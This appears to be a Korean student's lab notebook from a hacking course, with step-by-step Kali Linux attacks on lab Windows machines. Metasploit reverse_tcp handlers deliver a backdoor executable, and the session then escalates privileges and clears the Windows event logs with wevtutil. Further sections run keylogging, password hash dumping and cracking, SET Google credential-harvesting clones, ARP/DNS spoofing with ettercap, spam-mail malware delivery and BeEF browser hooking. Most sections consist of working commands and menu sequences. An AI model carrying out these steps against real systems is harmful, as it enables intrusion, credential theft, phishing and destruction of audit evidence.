본문으로 바로가기

취약점 발견 및 공격 (Window2008 로그 삭제)

 

스캔 -> 공격 타겟 선정(win2008) -> 백도어 구성 -> vi revers_resource.rc(use ,set payload (침투경로 설정) ..등등)

 

 공격 코드 파일 생성 ->

msfvenom ~ exe라는 파일 생성  -->

 

앞서 실습이전에 생성해두었기 때문에 그 이후것을 실행하면된다.

타켓에 공격 코드 파일 유입-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득

공유폴더에 복사 -->            msfconsole -r       사용자가 실행  ---> session -I 1

 

 

win2008

 

1)\\192.168.20.50\share (공유폴더 접속)-> enter

   reserse라는 파일을 바탕화면에 복사한다.

2) 백도어 reverse_resource.rc 실행

 

cd /share 폴더로 이동

vi 편집기로 reverse_resource.rc라는 파일을 저장하였다.
msfconsol -r  reverse_resource.rc 실행

 

3) 바탕화면으로 복사한것을 실행한다. reverse.exe 공격 코드 파일 실행

4) 백도어 상태 확인

sessions -I

 

5) windows 2008 제어권 획득 실시

sessions -I 1

 

getuid

getsystem

getuid

shell

C:\Windows\system32>wevtutil.exe el  ---> 아마도 윈도우의 이벤트뷰어 관련 프로그램인듯 합니다.

C:\Windows\system32>wevtutil.exe cl "System"

C:\Windows\system32>wevtutil.exe cl "Application"

C:\Windows\system32>wevtutil.exe cl "Security"

 

6) 로그 삭제 확인

 


취약점 발견 및 공격 (키보드 스니핑 & 스크린샷)

 

스캔 -> 공격 타겟 선정 -> 백도어 구성 -> 공격 코드 파일 생성 -> 공격 타겟에 공격 코드 파일 유입 실시

 

-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득 -> 키보드 스니핑 및 스크린샷 실시(여기서부터 설정해야 할 부분.)

 

 

cd /share

 

msfconsole -r reverse_resource.rc

 

Window2008 'reverse.exe' 공격 코드(악성 코드) 실행

 

백도어 'reverse_resource.rc' 상태 확인

 

Window2008 제어권 획득 실시

 

키보드 스니핑 및 스크린샷 실시

 

 

 

Window2008


- Internet Explorer 를 이용하여 'http://www.hotmail.com' 접속 실시 및 로그인
- 로그인 정보 (abcd@test.com/abcd1234)

 

Kali Linux

 

 

 

'/root/bin/KzQHwZKd.jpeg' 스크린샷 확인

 

 

 

키보드 스니핑 & 스크린샷 명령어


enumdesktops 접근 가능한 데스크톱과 윈도우 스테이션 전체 목록 확인
getdesktop 메타프리터 세션으로 연결된 사용자 시스템의 데스크톱 확인
keyscan_dump 메타프리터 데스크톱 세션의 키보드 동작을 저장 실시
keyscan_start 메타프리터 세션으로 연결된 스테이션에서 키보드 스니핑 시작
keyscan_stop 메타프리터 세션으로 연결된 스테이션에서 키보드 스니핑 종료
screenshot 데스크톱 스크린샷 실시
setdesktop 메타프리터 세션으로 연결된 데스크톱에서 다른 데스크톱 스테이션으로 변경

 


취약점 발견 및 공격 (Password Hash Dump)

 

스캔 -> 공격 타겟 선정 -> 백도어 구성 -> 공격 코드 파일 생성 -> 공격 타겟에 공격 코드 파일 유입 실시

 

-> 백도어 실행 -> 공격 코드 파일 실행 -> 제어권 획득 -> 키보드 스니핑 및 스크린샷 실시(여기서부터 설정해야 할 부분.)

 

Window2008 로그인 패스워드 변경
- 실습을 하기 위해서 로그인 패스워드를 간단하게 변경하도록 한다. (패스워드 : 0000)

@ Window2008
① 시작 -> 관리도구 -> 로컬 보안 정책
② 보안 설정 -> 계정 정책 -> 암호 정책
③ "암호는 복잡성을 만족해야 함" -> 마우스 우클릭 -> 속성(R) -> "사용 안 함(S)' 체크 -> 확인
④ 시작 -> 관리도구 -> 컴퓨터 관리 -> 로컬 사용자 및 그룹 -> 사용자
⑤ 'Administrator' 선택 -> 마우스 우클릭 -> 암호 설정 -> 계속 -> 패스워드 '0000' 설정 -> 확인

 

cd /share

 

msfconsole -r reverse_resource.rc

Window2008 'reverse.exe' 공격 코드(악성 코드) 실행

Window2008 이 Kali Linux 에 연결되었는지 확인한다. : sessons -I

Window2008 제어권 획득 실시 : sessions -I 1

meterpreter > sysinfo

meterpreter > getuid

meterpreter > getsystem

meterpreter > getuid

 

 

패스워드 크랙 사이트를 이용하여 패스워드 크랙 실시

 

패스워드 크랙 사이트 : http://hashkiller.co.uk----> 맨밑에 NTLM Decrypter 클릭

 

 


Metasploit Window 버전 설치 및 실행

 

Window2008 에서 Metasploit, msfgui 다운로드 및 설치

 

자바를 우선적으로 설치한다.

 

메타스폴로잇 설치

 

msfgui 설치

 

 

msfgui실행 ---> 콘솔클릭


 


Setoolkit (Fake Web 사이트 구성)

 

Kali Linux

 


cd /var/www/html

root@kali:/var/www/html# rm -rf /var/www/html/*
root@kali:/var/www/html# service apache2 restart
root@kali:/var/www/html# pgrep -lf apache2


7055 apache2
7059 apache2
7060 apache2
7061 apache2
7062 apache2
7063 apache2
7064 apache2

 

root@kali:/var/www/html# cd

 

root@kali:~# setoolkit

Do you agree to the terms of service [y/n]: y입력

 

Select from the menu:

4) Update the Social-Engineer Toolkit

set> 4

 

Select from the menu:

5) Update SET configuration

set> 5

 

Select from the menu:

1) Social-Engineering Attacks
set> 1

 

Select from the menu:

set> 2

 

The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files
which can be used for Windows-based powershell exploitation through the browser.


1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method

set:webattack> 3

 

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.
The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.
The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.


1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu
set:webattack> 1

 

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this

 

set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.50
1. Java Required
2. Google
3. Facebook

 

set:webattack> Select a template: 2
[*] Cloning the website: http://www.google.com

 

~중간생략~

Feel free to customize post.php in the /var/www directory
[*] All files have been copied to /var/www
{Press return to continue} (엔터)

 

99---->99---->99

vi set.config 연다.

 

 

 

 

'/var/www/html' 디렉토리에 생성된 Google Fake 사이트 관련 파일 확인

 

 

Window7 에서 'http://192.168.20.50'으로 접속 테스트 실시


- 파이어폭스를 이용하여 'http://192.168.20.50' 접속 실시 및 로그인 실시(abcd@test.com/abcd1234)

 

 

 

Kali Linux 에서 ID/Password 확인

 

 

 

악성 코드 유입

setoolkit--->1--->2---->1--->1--->no--->192.168.20.50---->2--->2--->1--->(엔터)--->1

 

Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> set EnableStageEncoding false

 

resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
[*] Started reverse TCP handler on 192.168.20.50:443
[*] Starting the payload handler...
msf exploit(handler) >

 

 

터미널 2)

 

Kali Linux
- '/var/www/html' 디렉토리에 생성된 Google Fake 사이트 관련 파일 확인
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
hP892k.jar index.html msf.exe M0WHDt5p

 

Window7 에 Java 설치 실시 및 구성 설정

 

 

Window7 에서 'http://192.168.20.50'으로 접속 테스트 실시

 


위험을 감수~~' 체크 -> 실행(R) 클릭 -> Reverse TCP 악성 코드 유입 성공

 

Kali Linux 상태 확인:  Kali Linux 에 Window7 이 연결되었는지 확인 실시

 

 

99--->99--->99

 


ARP & DNS Spoofing & Setoolkit (Fake Web 사이트 구성)

 

ARP/DNS 스푸핑 실시
- IPv4 Forwarding 기능을 임시적으로 ON 실시

 

 

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# cat /proc/sys/net/ipv4/ip_forward
1
- ettercap DNS 설정 파일 내용 확인 (www.cisco.com - 192.168.20.50)
root@kali:~# vi /etc/ettercap/etter.dns
~ 중간 생략 ~
###############################################
# DNS Spoofing Test
#
www.google.com A 192.168.20.50
*.google.com A 192.168.20.50
www.google.com PTR 192.168.20.50
###############################################
~ 중간 생략 ~
: wq

 

 

root@kali:~# ettercap -G &


① Sniff -> Unified sniffing -> Network Interface : eth1 선택 -> 확인
② Hosts -> Scan for hosts 실시
③ Hosts -> Host List 클릭 -> 목록 확인
- 192.168.20.100 -> Add to Target 1
- 192.168.20.202 -> Add to Target 2
④ Mitm -> ARP poisoning -> Sniffi remote connections 체크 -> 확인
⑤ Plugins -> Manage the plugins -> dns_spoof 더블 클릭
⑥ Start -> Start snffing

 

 

Fake Web 사이트 구성
@ Kali Linux
root@kali:~# setoolkit

 

1( Social-Engineering Attacks)---->2(Website Attack Vectors)---->3(Credential Harvester Attack Method)----->1(Web Templates)

[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.50

2(Google)----->(엔터)--->99-->99--->99

 

 

'/var/www' 디렉토리에 생성된 Google Fake 사이트 관련 파일 확인
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
harvester_2016-06-07 16:22:05.629238.txt index.html post.php

 

 

Window7 에서 'http://www.cisco.com' 접속 테스트 실시
- 파이어폭스를 이용하여 'http://www.google.com' 접속 실시 및 로그인 실시(abcd@test.com/abcd1234)

 

 

 


 


Setoolkit (스팸 메일-링크 악성 코드)

 

Kali Linux


root@kali:~# apt-get install sendmail-bin
root@kali:~# apt-get install sendmail
root@kali:~# service sendmail start
root@kali:~# setoolkit

 

1) Social-Engineering Attacks 1번선택---> 5) Mass Mailer Attack 5번선택 ----> 1. E-Mail Attack Single Email Address

1번선택

구글에 기본적으로 보안수준을 낮은 앱을 허용을 하지 않고 있다. 처음에 로그인하면 로그인 시도가 차단된

메세지가 나오는데 이를 허용으로 바꾸고 setoolkit과정을 다시 setting하면 메세지가 전달된다.

 

 

 

 


BeEF (Web 브라우저 해킹)

 

웹-페이지 생성 -> BeEF 실행 -> 구글 피싱 사이트 생성 -> 실제 구글 사이트 리다이렉트 실시 -> 접속 확인

root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
root@kali:/var/www/html#
root@kali:/var/www/html# vi index.html

 

root@kali:/var/www/html# cd
root@kali:~#
root@kali:~# service apache2 restart


- Window7 에서 크롬 브라우저를 이용하여 'http://192.168.2.50' 접속 확인

 

BeEF 실행

 

 

 

 

 

 

Window7에서 TEST Web Page 접속 테스트

 

 

 

http://192.168.20.50 접속 결과

 

 

 

 

 

F12 클릭 -> hook.js 파일 실행 확인

 

 

 

 

 구글 피싱 사이트 구성

 

 

Kali Linux

 

'192.168.20.202' 클릭 -> Commands -> Social Engineering -> Google Phising -> Execute 클릭

 

 

 

 

Ex5) Window7에서 구글 파싱 사이트 전환 결과 확인

 

 - Window7에서 방금전 Test Web Page가 구글 피싱 사이트로 변경되었는지 확인한다.

 

 

 

Window7

 

 

BeEF에 의해서 생성된 구글 피싱 사이트 접속

 

 

 

 

 

Ex6) 구글 피싱 사이트를 실제 구글 사이트로 리다이렉트 실시

 

 - BeEF 웹-페이지에서 다음과 같은 순번대로 작업을 진행하여 구글 사이트로 리다이렉트를 실시한다.

 

Kali Linux

 

 

'192.168.20.202' 클릭 -> Commands -> Browser -> Hooked Domain -> Redirect Browser -> http://www.google.com -> Execute 클릭

 

 

 

 

Window7에서 구글 사이트 리다이렉트 결과 확인

 

 - Window7에서 방금전 구글 피싱 사이트가 구글 사이트로 변경되었는지 확인한다.

 

 

BeEF에 의해서 리다이렉트된 구글 사이트 접속

 

 

 

 

WindowXP 구글 리다이렉트 사이트 접속 구성

 

 - 위와 같은 방법으로 Window2008에 대해서 구글 리다이렉트 사이트를 구성하여라.

 

 

 

 


 

BeEF & MSF (Web 브라우저 해킹)

 

테스트 웹-페이지 생성 및 아파치 재시작
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
index.html
root@kali:/var/www/html#
root@kali:/var/www/html# vi index.html
root@kali:/var/www/html#
root@kali:/var/www/html# cd
root@kali:~#
root@kali:~# service apache2 restart

 

vi /usr/share/beef-xss/config.yaml

 

 

msfconsole 을 실행하여 msgrpc 플러그인을 실시한다.

 

BeEF 실행
- BeEF 을 실행하여 HooK URL 과 UI URL 을 확인한다.

 

 

Kali Linux
(터미널 2)

 

(터미널 3)
root@kali:~# firefox http://127.0.0.1:3000/ui/panel &

 

Windows xp에서 'http://192.168.20.50' 접속 실시

 

 

 

BeEF 웹-페이지 후킹 결과 확인

 

 

(터미널 2)

 

 

BeEF 로 로딩된 Metasploit 모듈을 확인

 

'192.168.20.202' 클릭 -> Commands -> Metaploit 모듈 확인

 

msfconsole 설정
- 'browser_autopwn' 공격(브라우저를 이용한 Reverse TCP 공격)을 이용하여 제어권을 획득하도록 한다.

 


 

 

BeEF 설정

 

 - BeEF 웹-페이지에서 다음과 같은 순번대로 작업을 진행하여 구글 사이트로 리다이렉트를 실시한다.

 

Kali Linux

 

 

'192.168.20.203' 클릭 -> Commands -> Browser -> Hooked Domain -> Redirect Browser -> http://192.168.20.50:8080 -> Execute 클릭

 

 


 

Ex8) Window7에서 리다이렉트된 웹-페이지 결과 확인

 

 - Window7에서 리다이렉트된 웹-페이지로 변경됬는지 결과 확인한다.

 

 

 쉘 획득 확인

 

 - 현재 크롬 브라우저에서는 테스트가 실패. (파이어폭스, 인터넷 익스플로러도 실패)


(터미널 1)